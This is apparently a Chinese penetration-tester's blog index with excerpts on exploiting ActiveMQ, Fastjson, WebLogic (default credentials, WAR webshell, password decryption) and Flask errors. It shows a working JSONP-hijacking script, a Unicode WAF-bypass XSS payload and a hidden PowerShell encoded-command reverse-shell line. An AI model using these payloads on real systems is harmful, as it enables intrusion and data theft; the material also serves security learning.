bookmark_borderActiveMQ漏洞(CVE-2016-3088)利用

背景

又是一次工作渗透,又一次遇到了ActiveMQ,不过这回的版本为5.9.0,存在已知漏洞。

参考知道创宇Paper文章,直接开始记录利用过程。

漏洞信息

2016年4月14日,国外安全研究人员 Simon Zuckerbraun 曝光 Apache ActiveMQ Fileserver 存在多个安全漏洞,可使远程攻击者用恶意代码替代Web应用,在受影响系统上执行远程代码(CVE-2016-3088)。

Continue reading “ActiveMQ漏洞(CVE-2016-3088)利用”

bookmark_border利用console.log进行JSONP劫持

主要写console.log劫持另类JSONP接口数据的方式,这里就不过多阐述JSONP和JSONP劫持的知识,只贴链接。

什么是JSONP

JSONP是一种跨域传输的方式,具体参考百科JSONP

JSONP在解决跨域传输问题的同时也带来了一些安全问题,比如JSONP劫持,参考知道创宇文章JSONP 安全攻防技术

常规JSONP接口

不能自定义callback

http://pv.sohu.com/cityjson

var returnCitySN = {"cip": "117.119.123.123", "cid": "110000", "cname": "北京市"};

这种接口直接将数据赋值到returnCitySN变量中,通过script标签加载接口后就可以直接使用。

<script src="http://pv.sohu.com/cityjson"></script>
<script>alert(returnCitySN.cip);</script>

能够自定义callback

https://api.ipify.org/?format=jsonp&callback=var%20a=

var a=({"ip":"117.119.74.9"});

这种接口可以自定义callback,这里创建一个a变量并赋值就可以直接使用了。

<script src="https://api.ipify.org/?format=jsonp&callback=var%20a=">
</script>
<script>alert(a.ip);</script>

另类JSONP接口

其实这个和上面的自定义callback一样,只不过接口会对callback参数内的特殊字符进行转换,比如var a=会转换成 vara_,这样就无法创建变量来读取了。

回到标题,利用console.log劫持另类JSONP数据,如果接口没有过滤.,那么就可以利用console.log输出数据,再通过读取console.log日志获取数据。

贴代码,拿上面能够自定义callback的接口做例子。

<script>
    var lastLog;
    console.oldLog = console.log;
    console.log = function (str) {
        console.oldLog(str);
        lastLog = str;
    }
</script>

<script src="https://api.ipify.org/?format=jsonp&callback=console.log"></script>

<script>
    alert(JSON.stringify(lastLog))
</script>

bookmark_bordermsf powershell base64 command

试着用泛微OA爆出来不久的漏洞反弹SHELL,通过网上公开的POC只能执行whomai之类的简单命令,复杂一些的会报错。直到后来发现可以使用Cobalt Strike生成的powershell反弹。

Cobalt Strike可以,那Metasploit可以吗?

Cobalt Strike 生成的Payload是这样的,一段被Base64编码的内容。

powershell -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAa......

而Msfvenom没有合适的encoder可以将powershell Payload进行Base64编码。

通过搜索得到一个这样的编码脚本,能够将Msfvenom生成的Payload像上面那样编码。

Continue reading “msf powershell base64 command”

bookmark_borderFastjson <= 1.2.47 RCE实战运用

0x00

护网出现的漏洞,Fastjson先后爆出了好几个类似的远程命令执行漏洞,这次终于能用上了。

依旧是工作渗透时遇到的系统,发现任意文件下载以后,通过/root/.bash_history找到源码备份文件路径,下载得到源码,分析之,引用Fastjson 1.2.47,开搞。

Continue reading “Fastjson < = 1.2.47 RCE实战运用"

bookmark_border高位Unicode转换绕过WAF实现XSS

0x00

今天测试的时候,同事使用的扫描器报出一个Unicode编码漏洞,payload是这样的:..%255c..\winnt\system32\cmd.exe,但实际上是一个误报。

不过在同事的一顿折腾下,发现特殊的Unicode编码可以绕过应用本身的XSS防护,如下面的payload就可以成功插入并执行:

%C0%BCscript%C0%BEalert%c0%a81%c0%a9%C0%BC%c0%afscript%C0%BE

同事和我都一脸懵逼,那么到底是为什么呢?

Continue reading “高位Unicode转换绕过WAF实现XSS”

bookmark_borderPython调用JS函数生成密文字典

0x00

在Web渗透的时候,经常会遇到一些登录表单用DES之类的加密方式来加密参数,又因为BurpSuite不支持这样的加密(也许我的Burp有问题,一直看不到),所以给暴力破解表单带来了麻烦。

以前就有想过能不能用JAVA、Python或者其他语言引用JS文件,调用内部的函数来生成字典,一直没有去尝试。这次刚好遇到就试着实现一下,顺便记录着水一篇博客。

Continue reading “Python调用JS函数生成密文字典”

bookmark_border一次简单的任意文件下载到上传SHELL

0x00

熬夜护网的朋友发来一个站,说遇到了问题,让我看看咋回事,那就看看到底咋回事。

说是网站有任意文件上传,但上传目录不在Web目录下,路径是这样的:

/opt/work/upload/{username}/01/{filename}时间戳.jpg

他注册了一个用户名为../{Web路径}的用户,然后上传发现程序自动把username转换成了大写,又因为是Linux系统,所以,卒。

Continue reading “一次简单的任意文件下载到上传SHELL”

bookmark_borderFlask 1.1.1 开发者模式报错问题

事情是这样的,Flask在 2019-07-08 发布了Released 1.1.1,也没加什么功能。作为爱折腾的我,当然是在第一时间升级到最新版本。

随新版本而来的还有一个Bug,困扰了我一个月,今天实在忍不了,翻了好几个issues才找到解决办法,好久没写博客的我决定水一下。

问题来源于Werkzeug,当Flask的运行环境ENV=development时,将会出现这样的错误:

c:\users\lenovo\appdata\local\programs\python\python37\python.exe: No module named C:\Users\lenovo\AppData\Local\Programs\Python\Python37\Scripts\flask

已经有人在Werkzeug的项目下提交了issues,并且Flask的开发者也在跟进这个问题,当Flask >= 1.1.0,Werkzeug 0.15.5时,就会出现上面的问题。

Continue reading “Flask 1.1.1 开发者模式报错问题”

bookmark_borderWeblogic 密文解密

在一次渗透测试中,我使用弱口令成功进入WebLogic控制台,并通过部署war包的方式获得WEBSHELL,接下来为了能够连接目标数据库,我找到了Web应用的配置文件,同时遇到了被加密的数据库连接密码。

WebLogic

WebLogic仅在开发环境下使用明文存储配置文件中的密码。在生产环境中,WebLogic会加密存储XML配置文件中的所有文本密码,以防止敏感信息泄露。

Find File

通常情况下,WebLogic中的Web应用会将数据库配置文件放置在config/jdbc目录下的*.xml文件中,很快我就找到了数据库的配置文件,jdbc2fE5NEW-3572-jdbc.xml

Continue reading “Weblogic 密文解密”

bookmark_borderWeblogic 弱口令上传SHELL

弱口令

测试的时候发现目标开了7001端口,尝试/console成功访问到weblogic,弱口令weblogic/weblogic进入。

曾经听人说过weblogic拿SHELL的方式,部署包获得SHELL,这次就来实践下。

准备SHELL

准备一个JSP的SHELL,jspspy.jsp

对SHELL文件进行zip压缩,并将文件名改为test.war

Continue reading “Weblogic 弱口令上传SHELL”